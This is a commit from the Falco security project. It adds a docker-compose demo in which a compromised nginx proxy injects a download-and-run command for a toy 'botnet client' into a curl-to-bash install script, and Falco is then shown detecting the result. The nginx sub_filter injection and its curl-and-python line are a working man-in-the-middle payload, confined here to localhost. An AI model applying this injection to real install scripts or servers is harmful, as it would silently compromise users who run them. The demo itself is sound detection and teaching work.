mirror of
https://github.com/falcosecurity/falco.git
synced 2025-07-02 01:22:16 +00:00
Docker-compose environment for mitm example.
Adding docker-compose based example of man-in-the-middle attack against installation scripts and how it can be detected using sysdig falco. The docker-compose environment starts a good web server, compromised nginx installation, evil web server, and a copy of sysdig falco. The README walks through the process of compromising a client by using curl http://localhost/get-software.sh | bash and detecting the compromise using ./fbash. The fbash program included in this example fixes https://github.com/draios/falco/issues/46.
This commit is contained in:
parent
674e63eef0
commit
139ee56af7
78
examples/mitm-sh-installer/README.md
Normal file
78
examples/mitm-sh-installer/README.md
Normal file
@ -0,0 +1,78 @@
|
|||||||
|
#Demo of falco with man-in-the-middle attacks on installation scripts
|
||||||
|
|
||||||
|
For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
|
||||||
|
|
||||||
|
## Demo architecture
|
||||||
|
|
||||||
|
### Initial setup
|
||||||
|
|
||||||
|
Make sure no prior `botnet_client.py` processes are lying around.
|
||||||
|
|
||||||
|
### Start everything using docker-compose
|
||||||
|
|
||||||
|
From this directory, run the following:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ docker-compose -f demo.yml up
|
||||||
|
```
|
||||||
|
|
||||||
|
This starts the following containers:
|
||||||
|
* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
|
||||||
|
* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
|
||||||
|
* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
|
||||||
|
* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
|
||||||
|
* falco: will detect the activities of botnet_client.py.
|
||||||
|
|
||||||
|
### Download `install-software.sh`, see botnet client running
|
||||||
|
|
||||||
|
Run the following to fetch and execute the installation script,
|
||||||
|
which also installs the botnet client:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ curl http://localhost/install-software.sh | bash
|
||||||
|
```
|
||||||
|
|
||||||
|
You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
|
||||||
|
|
||||||
|
Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ ps auxww | grep python
|
||||||
|
...
|
||||||
|
root 19983 0.1 0.4 33992 8832 pts/1 S 13:34 0:00 python ./botnet_client.py
|
||||||
|
|
||||||
|
$ telnet localhost 1234
|
||||||
|
Trying ::1...
|
||||||
|
Trying 127.0.0.1...
|
||||||
|
Connected to localhost.
|
||||||
|
Escape character is '^]'.
|
||||||
|
```
|
||||||
|
|
||||||
|
You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
|
||||||
|
|
||||||
|
```
|
||||||
|
attacker_botnet_master | Trying to contact compromised machine...
|
||||||
|
attacker_botnet_master | Waiting for botnet command and control commands...
|
||||||
|
attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
|
||||||
|
attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
|
||||||
|
```
|
||||||
|
|
||||||
|
At this point, kill the botnet_client.py process to clean things up.
|
||||||
|
|
||||||
|
### Run installation script again using `fbash`, note falco warnings.
|
||||||
|
|
||||||
|
If you run the installation script again:
|
||||||
|
|
||||||
|
```
|
||||||
|
curl http://localhost/install-software.sh | ./fbash
|
||||||
|
```
|
||||||
|
|
||||||
|
In the docker-compose output, you'll see the following falco warnings:
|
||||||
|
|
||||||
|
```
|
||||||
|
falco | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)
|
||||||
|
falco | 23:19:56.528667589: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=)
|
||||||
|
falco | 23:19:56.530758087: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=::1:41996->::1:9090)
|
||||||
|
falco | 23:19:56.605318716: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
|
||||||
|
falco | 23:19:56.605323967: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
|
||||||
|
```
|
7
examples/mitm-sh-installer/botnet_master.sh
Executable file
7
examples/mitm-sh-installer/botnet_master.sh
Executable file
@ -0,0 +1,7 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
while true; do
|
||||||
|
echo "Trying to contact compromised machine..."
|
||||||
|
echo "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec" | nc localhost 1234 && echo "**********Contacted compromised machine, sent botnet commands"
|
||||||
|
sleep 5
|
||||||
|
done
|
51
examples/mitm-sh-installer/demo.yml
Normal file
51
examples/mitm-sh-installer/demo.yml
Normal file
@ -0,0 +1,51 @@
|
|||||||
|
# Owned by software vendor, serving install-software.sh.
|
||||||
|
apache:
|
||||||
|
container_name: apache
|
||||||
|
image: httpd:2.4
|
||||||
|
volumes:
|
||||||
|
- ${PWD}/web_root:/usr/local/apache2/htdocs
|
||||||
|
|
||||||
|
# Owned by software vendor, compromised by attacker.
|
||||||
|
nginx:
|
||||||
|
container_name: mitm_nginx
|
||||||
|
image: nginx:latest
|
||||||
|
links:
|
||||||
|
- apache
|
||||||
|
ports:
|
||||||
|
- "80:80"
|
||||||
|
volumes:
|
||||||
|
- ${PWD}/nginx.conf:/etc/nginx/nginx.conf:ro
|
||||||
|
|
||||||
|
# Owned by attacker.
|
||||||
|
evil_apache:
|
||||||
|
container_name: evil_apache
|
||||||
|
image: httpd:2.4
|
||||||
|
volumes:
|
||||||
|
- ${PWD}/evil_web_root:/usr/local/apache2/htdocs
|
||||||
|
ports:
|
||||||
|
- "9090:80"
|
||||||
|
|
||||||
|
# Owned by attacker, constantly trying to contact client.
|
||||||
|
attacker_botnet_master:
|
||||||
|
container_name: attacker_botnet_master
|
||||||
|
image: alpine:latest
|
||||||
|
net: host
|
||||||
|
volumes:
|
||||||
|
- ${PWD}/botnet_master.sh:/tmp/botnet_master.sh
|
||||||
|
command:
|
||||||
|
- /tmp/botnet_master.sh
|
||||||
|
|
||||||
|
# Owned by client, detects attack by attacker
|
||||||
|
falco:
|
||||||
|
container_name: falco
|
||||||
|
image: sysdig/falco:latest
|
||||||
|
privileged: true
|
||||||
|
volumes:
|
||||||
|
- /var/run/docker.sock:/host/var/run/docker.sock
|
||||||
|
- /dev:/host/dev
|
||||||
|
- /proc:/host/proc:ro
|
||||||
|
- /boot:/host/boot:ro
|
||||||
|
- /lib/modules:/host/lib/modules:ro
|
||||||
|
- /usr:/host/usr:ro
|
||||||
|
- ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
|
||||||
|
tty: true
|
18
examples/mitm-sh-installer/evil_web_root/botnet_client.py
Normal file
18
examples/mitm-sh-installer/evil_web_root/botnet_client.py
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
import socket;
|
||||||
|
import signal;
|
||||||
|
import os;
|
||||||
|
|
||||||
|
os.close(0);
|
||||||
|
os.close(1);
|
||||||
|
os.close(2);
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT,signal.SIG_IGN);
|
||||||
|
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
serversocket.bind(('0.0.0.0', 1234))
|
||||||
|
serversocket.listen(5);
|
||||||
|
while 1:
|
||||||
|
(clientsocket, address) = serversocket.accept();
|
||||||
|
clientsocket.send('Waiting for botnet command and control commands...\n');
|
||||||
|
command = clientsocket.recv(1024)
|
||||||
|
clientsocket.send('Ok, will execute "{}"\n'.format(command.strip()))
|
||||||
|
clientsocket.close()
|
15
examples/mitm-sh-installer/fbash
Executable file
15
examples/mitm-sh-installer/fbash
Executable file
@ -0,0 +1,15 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
SID=`ps --no-heading -o sess --pid $$`
|
||||||
|
|
||||||
|
if [ $SID -ne $$ ]; then
|
||||||
|
# Not currently a session leader? Run a copy of ourself in a new
|
||||||
|
# session, with copies of stdin/stdout/stderr.
|
||||||
|
setsid $0 $@ < /dev/stdin 1> /dev/stdout 2> /dev/stderr &
|
||||||
|
FBASH=$!
|
||||||
|
trap "kill $FBASH; exit" SIGINT SIGTERM
|
||||||
|
wait $FBASH
|
||||||
|
else
|
||||||
|
# Just evaluate the commands (from stdin)
|
||||||
|
source /dev/stdin
|
||||||
|
fi
|
12
examples/mitm-sh-installer/nginx.conf
Normal file
12
examples/mitm-sh-installer/nginx.conf
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
http {
|
||||||
|
server {
|
||||||
|
location / {
|
||||||
|
sub_filter_types '*';
|
||||||
|
sub_filter 'function install_deb {' 'curl -so ./botnet_client.py http://localhost:9090/botnet_client.py && python ./botnet_client.py &\nfunction install_deb {';
|
||||||
|
sub_filter_once off;
|
||||||
|
proxy_pass http://apache:80;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
events {
|
||||||
|
}
|
156
examples/mitm-sh-installer/web_root/install-software.sh
Normal file
156
examples/mitm-sh-installer/web_root/install-software.sh
Normal file
@ -0,0 +1,156 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
#
|
||||||
|
# Copyright (C) 2013-2014 My Company inc.
|
||||||
|
#
|
||||||
|
# This file is part of my-software
|
||||||
|
#
|
||||||
|
# my-software is free software; you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License version 2 as
|
||||||
|
# published by the Free Software Foundation.
|
||||||
|
#
|
||||||
|
# my-software is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with my-software. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
#
|
||||||
|
set -e
|
||||||
|
|
||||||
|
function install_rpm {
|
||||||
|
if ! hash curl > /dev/null 2>&1; then
|
||||||
|
echo "* Installing curl"
|
||||||
|
yum -q -y install curl
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "*** Installing my-software public key"
|
||||||
|
# A rpm --import command would normally be here
|
||||||
|
|
||||||
|
echo "*** Installing my-software repository"
|
||||||
|
# A curl path-to.repo <some url> would normally be here
|
||||||
|
|
||||||
|
echo "*** Installing my-software"
|
||||||
|
# A yum -q -y install my-software command would normally be here
|
||||||
|
|
||||||
|
echo "*** my-software Installed!"
|
||||||
|
}
|
||||||
|
|
||||||
|
function install_deb {
|
||||||
|
export DEBIAN_FRONTEND=noninteractive
|
||||||
|
|
||||||
|
if ! hash curl > /dev/null 2>&1; then
|
||||||
|
echo "* Installing curl"
|
||||||
|
apt-get -qq -y install curl < /dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "*** Installing my-software public key"
|
||||||
|
# A curl <url> | apt-key add - command would normally be here
|
||||||
|
|
||||||
|
echo "*** Installing my-software repository"
|
||||||
|
# A curl path-to.list <some url> would normally be here
|
||||||
|
|
||||||
|
echo "*** Installing my-software"
|
||||||
|
# An apt-get -qq -y install my-software command would normally be here
|
||||||
|
|
||||||
|
echo "*** my-software Installed!"
|
||||||
|
}
|
||||||
|
|
||||||
|
function unsupported {
|
||||||
|
echo 'Unsupported operating system. Please consider writing to the mailing list at'
|
||||||
|
echo 'https://groups.google.com/forum/#!forum/my-software or trying the manual'
|
||||||
|
echo 'installation.'
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
if [ $(id -u) != 0 ]; then
|
||||||
|
echo "Installer must be run as root (or with sudo)."
|
||||||
|
# exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "* Detecting operating system"
|
||||||
|
|
||||||
|
ARCH=$(uname -m)
|
||||||
|
if [[ ! $ARCH = *86 ]] && [ ! $ARCH = "x86_64" ]; then
|
||||||
|
unsupported
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -f /etc/debian_version ]; then
|
||||||
|
if [ -f /etc/lsb-release ]; then
|
||||||
|
. /etc/lsb-release
|
||||||
|
DISTRO=$DISTRIB_ID
|
||||||
|
VERSION=${DISTRIB_RELEASE%%.*}
|
||||||
|
else
|
||||||
|
DISTRO="Debian"
|
||||||
|
VERSION=$(cat /etc/debian_version | cut -d'.' -f1)
|
||||||
|
fi
|
||||||
|
|
||||||
|
case "$DISTRO" in
|
||||||
|
|
||||||
|
"Ubuntu")
|
||||||
|
if [ $VERSION -ge 10 ]; then
|
||||||
|
install_deb
|
||||||
|
else
|
||||||
|
unsupported
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
|
||||||
|
"LinuxMint")
|
||||||
|
if [ $VERSION -ge 9 ]; then
|
||||||
|
install_deb
|
||||||
|
else
|
||||||
|
unsupported
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
|
||||||
|
"Debian")
|
||||||
|
if [ $VERSION -ge 6 ]; then
|
||||||
|
install_deb
|
||||||
|
elif [[ $VERSION == *sid* ]]; then
|
||||||
|
install_deb
|
||||||
|
else
|
||||||
|
unsupported
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
|
||||||
|
*)
|
||||||
|
unsupported
|
||||||
|
;;
|
||||||
|
|
||||||
|
esac
|
||||||
|
|
||||||
|
elif [ -f /etc/system-release-cpe ]; then
|
||||||
|
DISTRO=$(cat /etc/system-release-cpe | cut -d':' -f3)
|
||||||
|
VERSION=$(cat /etc/system-release-cpe | cut -d':' -f5 | cut -d'.' -f1 | sed 's/[^0-9]*//g')
|
||||||
|
|
||||||
|
case "$DISTRO" in
|
||||||
|
|
||||||
|
"oracle" | "centos" | "redhat")
|
||||||
|
if [ $VERSION -ge 6 ]; then
|
||||||
|
install_rpm
|
||||||
|
else
|
||||||
|
unsupported
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
|
||||||
|
"amazon")
|
||||||
|
install_rpm
|
||||||
|
;;
|
||||||
|
|
||||||
|
"fedoraproject")
|
||||||
|
if [ $VERSION -ge 13 ]; then
|
||||||
|
install_rpm
|
||||||
|
else
|
||||||
|
unsupported
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
|
||||||
|
*)
|
||||||
|
unsupported
|
||||||
|
;;
|
||||||
|
|
||||||
|
esac
|
||||||
|
|
||||||
|
else
|
||||||
|
unsupported
|
||||||
|
fi
|
@ -37,7 +37,7 @@
|
|||||||
|
|
||||||
- macro: modify
|
- macro: modify
|
||||||
condition: rename or remove
|
condition: rename or remove
|
||||||
|
|
||||||
- macro: spawned_process
|
- macro: spawned_process
|
||||||
condition: evt.type = execve and evt.dir=<
|
condition: evt.type = execve and evt.dir=<
|
||||||
|
|
||||||
@ -320,7 +320,7 @@
|
|||||||
# (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
|
# (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
|
||||||
- rule: create_files_below_dev
|
- rule: create_files_below_dev
|
||||||
desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev.
|
desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev.
|
||||||
condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and fd.name != /dev/null
|
condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr)
|
||||||
output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
|
output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
|
||||||
priority: WARNING
|
priority: WARNING
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user